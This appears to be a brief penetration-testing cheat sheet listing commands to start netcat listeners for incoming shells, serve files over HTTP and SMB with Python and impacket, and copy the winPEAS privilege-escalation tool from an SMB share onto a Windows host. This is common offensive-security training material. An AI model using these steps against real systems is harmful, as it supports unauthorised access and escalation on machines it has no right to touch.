Home Useful commands
Post
Cancel

Useful commands

Start listener

For Linux

1
sudo nc -nvlp 4444

For Windows

1
sudo rlwrap nc -nvlp 443

Web service

1
sudo python3 -m http.server 80

SMB service with python impacket

1
sudo smbserver.py share . -smb2support

Get resource from service

SMB

1
copy \\<local_ip>\share\winPEAS.exe .
This post is licensed under CC BY 4.0 by the author.